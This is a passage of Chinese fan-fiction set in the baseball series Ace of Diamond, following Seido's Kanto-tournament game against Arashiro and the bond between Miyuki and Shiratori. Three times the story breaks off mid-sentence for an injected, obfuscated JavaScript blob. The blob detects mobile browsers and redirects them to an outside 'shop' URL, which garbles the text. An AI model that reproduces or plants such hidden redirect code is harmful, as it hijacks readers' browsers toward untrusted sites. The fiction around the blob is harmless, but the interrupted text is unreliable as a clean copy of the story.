“哈哈哈!”御幸对白鸟这奇怪的脑回路也是没辙。在春天的第一次正赛和名字与春天一样的学校对决吗? “真好啊……”御幸眼神渐深,说这种浪漫的话,让他也好想上场啊。 16. 关东大赛·岚樱 帝东与白龙的龙争虎斗告一段落,最后是白龙高校险胜一筹赢得了比赛。 这两所学校实力都很强劲,所以青道看的很仔细,不过也许是因为关东大赛之后就是夏甲预选赛,他们打的很克制,并没有暴露出什么新东西。 这种打法遭到了东清国的冷嘲热讽:“真是甲子园队伍才会有的余裕啊。” 这种做法其实很正常,但是对于青道来说是行不通的。 正因为好几年都没有打进甲子园,外界对青道的看法正在慢慢降低,帝东白龙这样打人家觉得情有可原,但是青道这样做只会得到好高骛远的评价。 球员和教练也是人,没办法真的做到不去在乎外界的影响。 看完帝东和白龙的比赛,青道离开了观众席,后面几场比赛只有经理和记录员留了下来,球员们则离开去练习保持状态了。 “嗖!”“啪!” 小球带着一往无前的气势投入手套,声音干脆响亮。 “好球!状态不错!”增田摘下面罩,将球扔回给白鸟。 御幸穿着护具在增田背后观察,也跟着点了点头。 因为大多时候牛棚的投捕练习都是御幸和白鸟一起的,在增田看来御幸对白鸟状态的掌控力更到位,增田就让他一起来看着白鸟的热身,确定一下投手今天状态如何。 又投了几球,增田站起身:“行了,就到这吧,白鸟你状态不错啊,保持住。” “我再去看看翔一,他就交给你了。”增田转身拍了拍御幸的肩膀,走向了隔壁牛棚。 今天会出场的投手是柴崎和水谷,增田作为正捕手需要最先关注他们的状态,确定白鸟的状态正常也就可以了。 投手每天有投球数的要求,就算白鸟今天是关门投手可能没有多少上场局数,也奈何不住可能有突发状况,所以保持状态的投球热身到此为止。 增田前辈离开后,两个身量高挑的少年蹲在一起成了两个蘑菇,极大的方便了去讲一些悄悄话。 “增田前辈有说这次上场会让你投变速球吗?”御幸悄声问道。 掌心球的进度惊人,这颗众所周知难学的变速球,在一周内居然已经被白鸟掌握的七七八八,在御幸看来,这颗球已经足以在正赛派上用场。 白鸟虽然不知道为什么要小声,但也跟着御幸悄声道:“没有。” 御幸狡黠地笑了:“那也好。” “为什么?”白鸟不由得侧眸,好奇又有点不服气地看向御幸。 御幸用手挡着嘴凑近,近到白鸟仿佛似有若无的能够感受到他温热的呼吸:“因为我想在正赛和你搭档时,再让这颗属于我们的球登场。” 这话也没错,掌心球的学习几乎99%都是和御幸一起。 指尖颤了一下,白鸟沉默地抿紧了嘴唇,身边人的存在感一下子放大宛如一座向他倾颓的山,他的腿突然不受控制站了起来。 御幸正靠着白鸟,被这突然的动作带的差点一屁股坐到地上,不过捕手的下半身稳定性一向一骑绝尘。 他维持着半蹲在地上的姿势,目光如电定在白鸟脸上,闲适轻浮的笑意盈在那张俊朗的脸上:“不好吗?” 白鸟觉得他明明正站着俯视蹲着的御幸,却有种莫名被御幸俯视的错觉。 “好、好啊。”他不自觉的磕巴了一下。 等已经站上了赛场,坐进了休息区,望着柴崎前辈都进场站在投手丘开始准备比赛了,白鸟脑子里还回荡着自己那句磕巴的话。 不不不,不对。现在不是感到丢人的时候,等会儿可是要上场的,要好好观察岚樱高中的打者啊! “啪!”地一声,白鸟拍了把脸颊,他在其他人惊讶地注视中目光灼灼地盯着场内集中了精神。 一直默默观察的片冈监督这才满意,转移了视线。 旁边的御幸终于松了口气,影响白鸟的状态可不是他想要的,看来以后比赛之前还是不要乱开玩笑了。 岚樱高中休息区,柳生监督微笑着注视着眼前的少年们。 他戴着无框的眼镜,笑容可亲,气质斯文和善,看上去和片冈监督完全相反,完全没什么威严可言,但岚樱的选手们站在这位监督面前一个个都噤若寒蝉。 “谋定后动,谨慎进攻。不要让我看见你们在赛场上没头没脑的样子,明白了吗?”柳生监督的眼镜寒光一闪,杀气宛如出鞘的利刃抵在少年们的脖颈上。 “明白!”岚樱的选手们果断大喊妄图驱散这股令人发毛的寒意。 柳生监督微笑地点点头:“青道的首发投手果然是他们的王牌,真是稳妥安全到让人失望的选择。” “具体的战术昨天晚上已经详细讨论过了,今天只要执行就行,你们不会这都做不到吧?” 岚樱:“不会!!” “嗯……那就上场吧,如果有人在比赛中犯一些让人头疼的低级错误,你们知道的。”柳生监督温柔一笑,岚樱的休息区却仿佛有冻风刮过。 岚樱:“是!!!” “呜嘎!”三垒手的替补选手增子透前辈被岚樱那边传来的大喊吓了一跳。 他和东清国一样胖胖的肚子抖了抖,满脸茫然地看向岚樱的休息区,总觉得那声“是”像是在惨叫一样,好可怕。 春风徐徐拂过棒球场上的沙土,穿梭在观众席如浪的欢呼声中,她轻轻揉了揉少年们的发丝以示鼓励,然后施施然打了个旋离开了。 随着放空警报拉响,青道vs岚樱的比赛正式打响,伴随着广播介绍选手的温柔女声,青道的所有选手都在自己的防守位置做好了准备。 “一垒侧,青道高中。” “三垒侧,岚樱高中。” “一局上半,岚樱高中攻击。一棒,三垒手,星间飒太。” 柴崎翔一在投手丘上沉默注视着走进打击区的星间飒太。他踢了下脚下投手丘的土,微微眯起了眼睛。 星间持棒不语,向着裁判鞠躬后冷静地站在左打击区摆好了打击姿势,他凝视着投手丘上的身影,耳畔仿拂响起了昨晚监督的话语。 “青道肯定会让他们的王牌投手先发,柴崎这个投手虽然是青道的王牌,但是资质一般,出彩的变化球只有变速球,切球很普通。” “投手掌控的武器越少,留给捕手配球的余地也就越少,如果有那个配球天才克里斯在,我还要费些功夫研究一下,既然那则消息是真的,柴崎就更不是威胁了……现在的正捕手应该是他们之前的替补增田刚。” “嗯——是个平庸的偶尔灵光一现的选手。”柳生监督毒辣傲慢的话回荡在脑海。 “嘛~如果我预料的没错,第一球肯定是外角低位直球。星间,140KM左右的直球,限定球路的打击,如果打不到……”记忆中柳生监督的黑色气场似乎要蔓延到打击区来了。 星间咽了咽口水,对不住了青道的柴崎前辈、增田前辈,为了不让监督的毒液向着我喷洒,只能让你们来承受一切了。 他坚定了信念,带着绝对要打到的气势盯死了投手丘上的柴崎。 增田感知到打者的气势,有些惊疑不定地瞥了星间一眼。 毕竟是第一个打席、第一个打者、第一个球,增田虽然感到有些不对,但并没有深想,手套一张,向着柴崎点点头。 ‘就按我们昨天商量的那样,第一个球,外角低位球直球,投过来吧。’ ‘虽然不知道这个打者在想什么,但是柴崎你的球路一定要压低啊,哪怕偏离一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674049|188658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点好球带都无所谓,要让这个打者挥棒但打不好,你能行吧?’增田看着柴崎的眼神充满信任,他和柴崎同级,两人一同走过了三年棒球部的时光,可谓是默契十足。 柴崎微微点头,侧身举起手套,外角低位球,他心中默念。 他稳定心神,不去在乎打者明显带着目的的视线,调整姿势,坚定地踏步挥出手臂,棒球倏忽间向着本垒板奔去。 “Strike!” 这是一颗临近好球带的外角低位坏球,但是打者挥棒了,记一颗好球数。 星间冷汗都下来了,他收回没有打到棒球的球棒挥了挥,然后重新摆好姿势。休息区监督的视线让他胃痛,这不怪他吧,这颗球青道的投手投的这么好。 柴崎接住增田扔过来的棒球,冷眼瞥了一下星间,都知道你想打了,谁会投给你打啊。 首球就挥棒,看来是有想打的球路啊。增田微微皱眉,本来想下一颗配一颗内角,那就换一个吧。 ‘再来一颗外角球,这次是高位球,不过这颗一定要在好球带里啊。’增田比了个暗号,然后拍拍手套。 配球是捕手和打者的博弈,监督其实能插手的不多。柳生监督看着打席上的星间飒太微微挑眉,星间其实是有进入中心打线的实力的,可不要小看他哦,之所以把他放在一棒,是因为…… “乒!”随着一声清脆响亮的击球声,白色的小球倒飞而出,增田心都提起来了,目光紧紧跟随棒球,在看见它进入手套后,才狠狠松了口气。 “接得好,结成!”增田大喊了一声,缓缓蹲回本垒板。 一垒手结成哲也从自己的手套中拿出棒球给裁判看了一眼,随后面对柴崎感激的目光稳重又平静地点了点头。 “……”星间拿着球棒石化在打席上,然后在裁判的催促下极不情愿地回到了岚樱的休息区。 离得越近脚步越慢,直到直面柳生监督冰冷的目光。 “我就知道,”他冷淡地说道,随即对着要走上准备区的三棒山本道,“就这样,积极挥棒给他施加压力。” “是!”山本瞥了一眼星间的表情,不敢多说什么,赶紧跑去了打击准备区。 星间不仅是场上为数不多的二年级,而且在打击上最受监督期待,正因为最受期待,所以监督对他颇为严厉,把他放在一棒,是想让他多几个挥棒的机会,这是岚樱所有队员都心知肚明的事。 在第一棒身上感受到的压力似乎是最强的。Out了后几个打席后,柴崎回到休息区若有所思。 “刚刚那个一棒是不是在第一球时瞄准了外角低位球打的,我看他都没怎么思考。”白鸟皱着眉询问身边的御幸。 御幸肯定地点头:“他们肯定仔细研究过我们,增田前辈确实喜欢在开局第一球时配外角低位球,不过总体是70%左右的概率,已经足够他们在第一个打席时赌一波了。” “如果他只有打第一球时那样的实力,我会很怀疑对方监督为什么要把他放在第一棒,但是第二球……”御幸嘴角勾起一抹笑。 第二球时,那个打者似乎进入了状态,虽然选错了球,但硬是将球杠了出去。 “幸好后面增田前辈改了配球,后面几个打者明虽没有将球打出去,但明显是有着想打的球路。” “没错,不过这种仿佛提线木偶的打者,也不足为惧。”御幸扫了一眼岚樱的休息区,他最擅长临场更改配球方案,岚樱这种套路套不到他。 白鸟不觉得御幸傲慢,自一起探讨配球方案以来,他经常被御幸天马星空又进攻型颇强的配球思路惊到,御幸是真的有能力做到他所说的那些话的。 这么想着,不由得期待起有朝一日两人在赛场上搭档戏耍对面的场面了。 17. 战术 岚樱的首发投手是背号17的花卷凑,一个高肩左投,捕手是三年级的正捕手千叶一郎。 在青道收集到的资料里,花卷凑的四缝线直球的球速在138KM/S左右,赛中投过滑球和伸卡球这两种变化球。 “一局下半,青道高中攻击。一棒,游击手,村田君。” 村田拎着球棒进入左打席,他把球棒往肩上一架,先是看了眼捕手千叶,再悠哉地看向投手花卷。 两人被他意味不明的一眼看得汗毛直竖。 千叶换了下蹲姿,他向着花卷比了几个手势:‘按昨天商量好的来,这个打者脚程不错,打击率稳定但不出彩。” ‘第一球贴近打者膝盖位置的内角球。’他面罩下的眼睛冷静地注视着投手丘上的花卷。 村田突然换了个姿势举棒,他眼中褪去了平时的懒洋洋,尽是专注。 今天的天气不错啊,春天就是好,感觉能看的很清楚呢,集中精神的感觉果然很累,但是这样就好。村田握紧了手中的球棒。 花卷深吸一口气,身为左投手,他最喜欢投的球就是面对左打席的内角球了,千叶前辈的配球真和我心意啊。 他毫无犹豫,按着捕手的暗号掷出手中的棒球。 村田眼见这球似乎奔着自己的膝盖而来,没有挥棒,皱眉微微退了几步。 捕手接住这颗坏球,面罩下的眼睛没有一丝波澜,他将球扔回给花卷。 ‘虽然没投进好球带,但是破坏了打者的状态,也算不错。’ 花卷对这明显是安慰自己的话撇撇嘴,他接住球,活动了一下肩膀。虽然千叶前辈不在乎,但是他对自己这总是开局不稳的毛病很是讨厌,正是因为这一点,他才是只是17号。 站回位置,村田冷静地重新摆好姿势等待下一球。白色的小球从投手手中投出的刹那,他吸了一口气,眼神一厉,两个内角球低位球,未免太小看我了吧! “乒!”宛如复刻了岚樱一棒的表现,青道的一棒将第二颗球果断击飞。 棒球没有飞出多远,但速度极快,在投手丘附近落下弹射出去。 岚樱的二垒手大喊一声:“我来!”他离开垒包奔向棒球,接起棒球就往一垒扔,却见打者居然已经离垒包不远。 速度好快!他惊讶地扔出棒球,伴随着村田扑垒的动作,棒球没入一垒手的手套。 裁判仔细看了看,在青道和岚樱的屏息以待中大声宣布。 “Safe!” 青道方的应援声顿时响亮起来。 “你小子跑的好啊!” “真不愧是村田君,真可靠!” “村田前辈好帅啊!”应援席中的仓持眼睛发亮地扯住川上喊道。 “嗯嗯!”川上激动地连声应和。 村田从地上爬起来松了口气,真是惊险,刚刚那一发其实自己打的并不好。 柳生监督额头上冒出一个井字,要不是二垒手刚刚传球的时候因为惊讶调整姿势慢了一步,村田根本上不了垒包。 “二棒,二垒手,小凑君。” 小凑拿着球棒笑眯眯地踏上左打席,他礼貌地向着监督和捕手问好,然后依旧微笑着扛着球棒摆好姿势。 ‘这个二棒虽然个子不高,但是选球眼光似乎不错,不过体型小最显著的弱点就是缺乏长打能力,这里直接用直球解决他吧。’ 千叶是个很冷静的捕手,大赛经验丰富,并没有被村田那一支一垒安打影响。 只是一支一垒安打而已,只要按死接下来的打者,就什么都不是。 花卷捏了捏手上防滑包的粉尘,有点烦躁地看了一垒是离开垒包的村田一眼,果断投了个牵制球让他滚回垒包。 ‘别分心,我会看着他的。’千叶拍拍手套拉回花卷的思绪。 花卷微微点头,吐出一口气,青道打线闻名已久,他该做好准备的。 小凑亮介就那么笑眯眯地看着投手调整完状态。哈哈村田前辈真是开了个好头,我也不能让步啊,毕竟……他的眯眯眼睁开露出粉色的美丽眼瞳,后辈正在看着呐。 第一球外角坏球,小凑没有挥棒目送了。 千叶微微皱眉,他要的是好球带的外角球,这球花卷投偏了,看来开局手感还是没上来。 他将球扔向一垒,让离垒的村田又重回垒包。 村田前辈很想盗垒啊,小凑侧目看向休息区的片冈监督,片冈摸了摸帽檐。 啊……这样的话,那我就不客气啦。小凑笑容的弧度变大了。 打击准备区的伊佐敷内心吐槽,肯定又要坏心眼了,不过把这份恶趣味放到对手上还真是让人安心。 小凑亮介的打击风格就是纠缠不休,他喜欢把无法打出安打的球都打去界外用以消耗投手的投球数,面上还一副云淡风轻的样子。 “界外!” “界外!” 一个坏球,两个界外球,花卷有点紧张地摸了摸帽檐,他看向捕手的手套,努力令自己忽视这份紧张。 “盗垒!” 正在投球的花卷一惊,球从他手中飞速冲向本垒板,准备好的千叶正准备接球,眼前却突然出现了一根棒子。 小凑用力挥出球棒,将球击飞。 是牺牲打吗?!不! “二垒!”捕手大喊。 棒球穿过二三垒之间,掠过游击手的手套,狠狠砸在地上。 “哦哦哦!打出去了,是打带跑!” 太田部长激动擦了擦汗:“打得好啊小凑同学,这是我们得分的最好时机啊!” 村田借由这只漂亮的安打成功登上二垒,而小凑则停在了一垒,这支安打距离不远,两人不准备去赌岚樱的守备失误。 “漂亮的安打!一二垒有人,这下岚樱危险了!难道第一局,岚樱就要失分了吗?” “下一个登上打席的是青道的中坚手伊佐敷纯!他能为青道拿下分数吗?”广播为岚樱突如其来的危局而兴奋起来,他并不是青道的粉丝,只是局面一下子变得有趣起来了。 白鸟紧张地看着伊佐敷的身影。御幸反倒忌惮地看了一垒的小凑好几眼,真是可怕的前辈,不仅消耗了投手的球数,还漂亮地执行了打带跑的战术。 “暂停!”岚樱的捕手向裁判示意,然后跑向投手丘,也不知说了什么,投手的气场一下子稳定下来。 伊佐敷有些警惕地握紧了棒子。 知道青道肯定很想拿下这一分,千叶故意配了几个边缘坏球让伊佐敷这个喜欢积极挥棒的打者挥棒,硬是在危机中拿了下两个好球数追逼了打者。 休息区的太田部长看了看片冈监督,小声道:“要传令让选手强迫取分吗?” “他们知道怎么做的。”片冈监督巍然不动,太田部长自然也不能多说什么,只能继续紧张地看向场内。 伊佐敷有些懊恼地挥了挥球棒,他不应该这么着急的。 ‘第三球。’千叶比了个暗号,花卷眼瞳一缩,然后坚定地抿唇点头,我知道之前的发挥都太差了,这次不会让千叶前辈你失望的! “伸卡球!花卷投手投出了本局的第一颗变化球,青道的三棒挥空!他们拿下了这一打席!”广播激动地喊道。 “可恶!”伊佐敷大喊一声,然后怒气冲冲地瞪了千叶一眼,懊丧地回了休息区,面对片冈监督,他僵硬了一下。 片冈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674050|188658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 监督并没有说什么责怪的话,这反而令伊佐敷更加难受了。 “哈哈哈!那就让我来一发大的吧!”东清国卷携着强大而可怖的气场走进打击区,他大声狞笑着,颇有恶人之姿。 “东,来一发大的吧!” “看你的了!东君!”应援台的气氛愈发热烈。 千叶忌惮地看了这个四棒一眼,青道的怪物打者东清国,就算青道一直没能进入甲子园,东清国的名声也十分响亮。 他瞥向柳生监督。 柳生监督眯起眼睛,只是关东大赛而已,又不是甲子园,明明只是想用来给夏甲预选赛练兵的,可是第一局就被逼成这样的话,让他有点不爽啊。 他做了个手势。 千叶一愣,然后给花卷打了个手势站起身直接四坏保送了东清国,青道直接满垒,这个决策顿时令观众们纷纷不解,满场哗然。 保送东清国有什么用,5棒的结成哲也并不好处理,青道把他放在五棒就是为了让对方学校不敢轻易保送东清国,这不是给对面送大分吗? 岚樱莫不是被打傻了? 柳生监督一笑,然后直接换人,将左外野的王牌投手姬野莲换上投手丘。 姬野莲是岚樱真正的王牌,拥有优秀的控球、强大的心理素质和三种不同的变化球。 他上场后岚樱的防守们迅速冷静了下来。面度如此局面,姬野完全不慌,他就像不知道垒包都被占满了,一开投就火力全开,三振了结成。 紧接着柳生监督又换上了11号投手上泉,让王牌继续去守左外野。 青道的选手硬是被按在了垒包上动弹不得,皆是被岚樱的操作弄的气笑了。 这样就是两出局了。柳生监督看着走上打击区的6棒左外野手山中景虎。 青道肯定会进行强迫取分的,他心知肚明,但是让上泉上场投球当然正是为了此刻。 柳生监督阴险地笑了。 “高、高飞球!青道的6棒山中君想要短打却被一颗高角度的快速球压制打出了一支高飞球!被投手接杀!” “投手上泉君投出了145KM/S的快速球!” “这么危机的局面,竟然让岚樱安全度过了!真是不可思议!” 在解说的惊叹下,场内因三出局开始换防,漫长的第一局结束了。 山中景虎失落地回到休息区,对着片冈监督猛地一鞠躬:“抱歉监督,我没能打出去!”旁边的结成也跟着鞠躬。 片冈监督沉声道:“只是第一个打席而已,不必沮丧。”他拍了拍两人的肩膀。 “这个投手的直球在临近本垒板的时候会微微上浮,很容易打成高飞球。”山中景虎皱着眉头说道。 御幸摸了摸脑后的头发,这里只能说是对方监督的战术更甚一筹,对面的投手阵很深啊,是个喜欢因地制宜使用投手的监督。 换投是完全的阳谋,谁让人家投手多。 “真是出色的布控啊……”他喃喃道。 “11号投手很麻烦。”小凑微微皱眉,他最讨厌的就是球速快球威重的投手了,他这种体型小的技巧型打者就算击中球也很容易被其压制。 伊佐敷磨牙:“真是个老奸巨猾的监督。” “一切战术在实力面前都是无用,如果我有东前辈那样的实力,这个战术就无法使用。”结成身上燃起了蓝色的火焰,他气势汹汹地看向岚樱休息区的投手。 片冈扫视了一圈不甘懊恼的选手们,严厉道:“现在是防守时间,如果不甘就将其化作动力,严密地挡住对面的进攻!” “不要让我看见有谁在场上还在纠结刚刚的事情!” “是!!” 18. 幼驯染 因为刚刚出色的危机化解,第二局登场的岚樱中心棒次们气势惊人。 “这下不好办了。”御幸感同身受现在场上增田前辈和柴崎前辈的压力。 有时候气势虽然不能弥补实力的不足,却可以让选手发挥出100%的实力,对于比赛而言这就够了。 果然,这一局柴崎投得十分艰难,不算顺利的处理了四个打席。其中4棒差点打出一个本垒打,还好位置稍微偏了,变成了界外后续被接杀,5棒打出了个一垒安打,但是6、7棒被三振出局。 岚樱的投手上泉状态比花卷要好很多,青道的下位打线无功而返,比赛在两方缠斗中来到了第三局。 柴崎顺利拿下了了岚樱的8、9棒,打线又来到了1棒星间飒太。 投手眼眸沉沉地看着再次登上打席的星间,明白这个打者和岚樱的核心棒次们一样难对付,他的身上有着他们队的东和结成一样,有着属于顶尖打者的某种东西,虽然还稍显稚嫩。 增田感受到了投手丘上传来的警惕,他不会忽视投手给出的信号,因此配了一颗角度刁钻的低位球。 这种球就算打者击中,不打准球心的话也很容易变成滚地球。 柴崎投的很好,因此星间的球棒一接触到棒球就知道不行,但是他也来不及抱怨,硬是扭转身型把球捞出了界外。 “呼……”他擦了擦额头的冷汗,这次可一定不能出错,我可不想再被柳生老头蔑视。 休息区的白鸟看见星间挥棒间硬是改变姿势的打击,他从座位上起身站在护栏边离球场更近了些,这已经是第二次了,这个一棒的身体柔韧性很好啊。 “怎么了?”御幸因为在关注柴崎,并没有发现星间的小动作,对白鸟突如其来的起身,他有些疑惑,也跟了上去。 “这个1棒在打击中能够通过柔软的肢体临时改变姿势,提高打击精准度。”白鸟眼珠发亮,这是个和东前辈、结成前辈不同的打者。 “哦?”御幸也跟着仔细看向星间。 一坏球,两好球。在增田和柴崎的谨慎下,他们靠着直球和变化球的配合追逼了星间。 就差一个好球数,就能够拿下这一出局攻防换边了。 ‘这里就来一个变速球吧,一定要压低。”增田比划暗号。 呦西,球路很不错!增田正准备接住,一根黑影疏忽划过,随着一声清脆的击球声,增田急忙脱下面罩大喊:“外野!” 变速球最大的弱点就是在瞄准球路击中的情况下很容易变成一支长打。 这球速度极快地击中了外野的围墙,外野手们根本来不及反应。 伊佐敷快速跑到落球点拿到棒球:“可恶!别想再跑了!”他用力挥臂,棒球如一道白光瞬间贯穿外野。 还想往三垒跑的星间吓了一跳,赶紧扑回二垒。 “Safe!” “哇!虽然岚樱打出了一支二垒长打,但是青道外野手的回传真漂亮啊!” “是啊,知道了外野有这么一个镭射肩,岚樱的跑者们在跑垒时也会很犹豫吧。” 不仅是星间漂亮的抓点打击,伊佐敷的回防也受到了观众们的赞叹。 柴崎脸色有点苍白,和稻实的那一战也是这样,他投的最好的变速球就这么被击飞了,那时还能安慰自己是对面的战术,可现在…… 增田迅速意识到了不妙,一支二垒长打其实没什么,但是因此让王牌对自己产生怀疑可就不行了。 他叫了暂停跑上投手丘,严肃又坚定地注视着柴崎,像是知道他在想什么:“翔一,白鸟一开始为什么要和你学习变速球?” “因为青道的投手只有我会变速球。”柴崎皱着眉头。 完全了解柴崎性格的增田知道这是不开心了,但这反而让他松了口气,能犟嘴就说明情况还好。 增田开始聊些和目前完全没关系的事情:“白鸟的才能很可怕吧?他的掌心球如今已经投的有模有样了。” “……”柴崎 “你要认输吗?”增田认真地看着柴崎,一语双关。他的眼中里面没有丝毫怒其不争,反而是带着一如既往的期盼。 柴崎沉默地看着其中自己小小的身影,他在期待什么?这是个答案他当然知道,因为他就是在增田的这个眼神中从两人小时候认识的那天一直投到了现在。 当时增田因为克里斯而消沉时,自己也问过他一样的问题,当时增田的回答是什么呢? 投手微微一笑:“当然不会。” 过去不会、现在不会、以后也不会。因为喜欢棒球是我自己的事情,不会因他人而改变。 三局上半,尽管因2棒的一垒安打与3棒的牺牲打让岚樱先驰得点拿下1分,可柴崎的状态并没有因此受到影响。 现在轮到青道攻击了,岚樱的投手上泉因救场成功十分自信,正是手感火热的时候,接连用140KM/S以上的快速直球加上一颗漂亮的曲球让青道的1-3棒无功而返。 “这是投出状态了啊。”青道的气氛有些凝重。 “他的上浮直球确实不好处理,球速还快。”村田光皱着眉头说道。 东清国呵呵:“再快有白鸟快吗?又不是没给你们喂过150KM的直球,赶紧给我打出去!” 增田回到休息区期间,御幸好奇地去问了增田在投手丘上和柴崎前辈说了什么,为什么柴崎前辈的状态一下就好了。 青道目前的主力投手,御幸只和白鸟关系不错,柴崎前辈在练习时也配合,但是他就是没办法和柴崎前辈更多的建立默契,有时候根本抓不准他的情绪。 另外两个个前辈则不知道为什么都不怎么理他,尤其是丹波前辈,除非教练要求,练习时根本不愿意和自己一起。 反正状况和他一开始的预测完全反了过来,让人摸不着头脑。 增田憨憨地摸摸寸头:“我也不知道我的方法你能不能用啊。” 他越说御幸越沉默。 还真是,这话增田前辈作为柴崎前辈的幼驯染当然可以说,但是他这个陌生的学弟来说就有点欠揍了吧。 不过如果有用的话,下次试试看好了。 岚樱休息区,柳生监督看着中心棒次的选手们笑了笑:“上个打席都看清楚了吧,按我昨晚说的来就行了,青道的王牌和捕手昨晚都已经分析的很清楚了,也做好了战术要求,你们可要打出去啊。” “这都打不出去的话,”柳生监督收敛了笑容,“我就要开始怀疑自己的决定了。” 他的眼神在几人身上一扫而过。 在柳生监督严密的部署下,棒球选手仿佛成了他的工具,对着投手丘上的柴崎围追堵截。 同时,这也是他的实验,如果实验成功代表着他的想法能在夏甲预选赛上派上用场,那关东大赛当然可以选择性放弃。 但是能赢的话,谁会把胜利拱手让人呢? 这些根据无数资料而详细制定的策略确实发挥了不错的效果。 四局上半,岚樱的核心棒次接连打出安打,但柴崎的投球也十分有韧性,最后将失分控制在了2分。 “这是被完全研究透了啊。”高岛礼推了下眼镜。 片冈监督沉默地点头,这是新型风格的监督流派,完全的数据战术派,和自己是截然相反的风格。 太田部长忍不住有点着急:“岚樱已经领先3分了。” 如果关东大赛一轮游,对青道高中棒球部的声誉又将是一轮新的打击。 看着走上打击区的东清国,片冈淡然道:“再等等。” 现在垒上无人,又不是职业比赛,岚樱的投捕自然不可能保送东清国。 他们想要一决胜负的想法被东清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674051|188658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 国捕捉到后,令东清国相当兴奋。 “好好好!就是要这样才对!”他在打席上迎着投手的战意哈哈大笑。 对东清国来说,金属球棒击中球心的声音永远那么动听。 “阳春炮!!” “哦哦哦!”应援席上,东清国的打击应援曲声音顿时变得更为响亮。 《荣光的架桥》 东学长意外是个喜欢老派热血的家伙。 看着东清国那魁梧的身影不紧不慢跑垒,还向着观众挥手的样子,白鸟也忍不住向着他挥手。 “东前辈真的很厉害。” 听见白鸟的话,御幸咧开嘴角兴奋地点点头:“是啊,这一击将大家紧张消沉的情绪完全击溃了。” 优秀的四棒不仅要击球技术优秀,也要能够在关键时刻回应队伍的期待。 片冈监督紧绷的身体放松了些,他也不是不紧张的,只是想要去相信这些孩子。 “白鸟,去热身。”片冈转头对着白鸟说道。 白鸟闻言一愣,他不是关门投手吗?不过监督既然这么说,能够提前上场他自然不会不乐意:“是!” “走吧。”御幸鼓励地拍拍白鸟的肩膀,然后便跟着白鸟一起去帮助他热身了。 片冈看着白鸟离开,然后对望着他的柴崎道:“你已经展现了足够的韧性,做的不错。” 监督很少夸赞选手,柴崎有些激动地挺直了脊背。 他当然明白此时让白鸟上场的原因,岚樱针对他肯定做了很多准备,明知有陷阱还要往里钻是愚蠢的。 但白鸟不是应对夏甲预选赛的秘密武器吗?就这么让他现在就上场没问题吗? “觉得怎么样,会紧张吗?”御幸穿着捕手装备没急着立刻去热身,而是认真问道。 这可是正赛的首秀,还是在比分落后的情况下上场。 白鸟没有立刻回答,他停止动作,仔细感知自己与外界。 风吹拂在皮肤上宛如微凉的丝绸拂过,耳畔观众席的嘈杂很遥远,鼻尖是熟悉的泥土味道,阳光毛茸茸的。 空气很好,风和日丽,站在棒球场的感觉一如往常。那些讨厌的回忆里的眼神、气氛在这里统统消失不见。 他看向耐心等待他回答的御幸。 “没有,我感觉很好。”白鸟简单回答,然后突然靠近,在御幸莫名因此屏住呼吸中伸手轻轻抱了下他。非常礼貌克制的距离,动作又轻又快,宛如一片雪、一片花瓣落在身上。 “谢谢你,御幸。” 白鸟当然明白御幸一直在为他考虑,他不仅成为了白鸟与青道众人之间的缓冲带,还比白鸟自己更纯粹地想让他在投手丘上好好发挥,得到应有的赞誉。 其实白鸟一直在赛场上就没紧张过,但是他也知道,那时的不紧张和现在的不紧张是完全的两个概念。 “哈哈,不紧张就好,说什么谢谢哈哈哈、哈、哈。” 哈完,御幸立刻转身,忍不住扶额,不就是感谢的拥抱吗?他紧张什么啊,刚刚手脚都不知道该往哪放了。 白鸟感谢他不是应该的吗,自己确实为他做了这么多。 御幸反复在脑海中重复这句话,然后理直气壮道:“开始热身吧。” 这是白鸟第一次在正赛中出场,可以说球迷们会对白鸟留下什么样的初印象就靠这场比赛决定了。 御幸当然想要白鸟一鸣惊人,可惜监督说过要暂时封存白鸟能投150KM/以上速球的能力,为夏甲预选赛储存实力。 对青道而言,重要的还是甲子园大赛的预选赛。 片冈铁心觉得,失去作为守备核心指挥官的正捕手,造成的影响可能会比他想象的更大,他必须让御幸和白鸟更快的融入团队,放弃关东大赛是为长远计。 他们明白监督的顾虑,也已经做好了准备。 19. 白鸟京 “青道高中更换选手通知。1号投手柴崎翔一,更换为11号投手白鸟京。” 广播一连响了三遍。 四局下半东清国打出一发本垒打追回1分,结成打出一支二垒长打,但是后续棒次的推进没能将其送回本垒,攻击结束在8棒右外野手田中身上,留下了一个三垒的残垒。 岚樱正准备再接再厉攻克他们的王牌,青道却直接更换了投手。 这在柳生监督的意料之中。 不过换上来的投手不是三年级的水谷或者二年级的丹波,而是一个一年级的新人,这就完全在他的意料之外了。 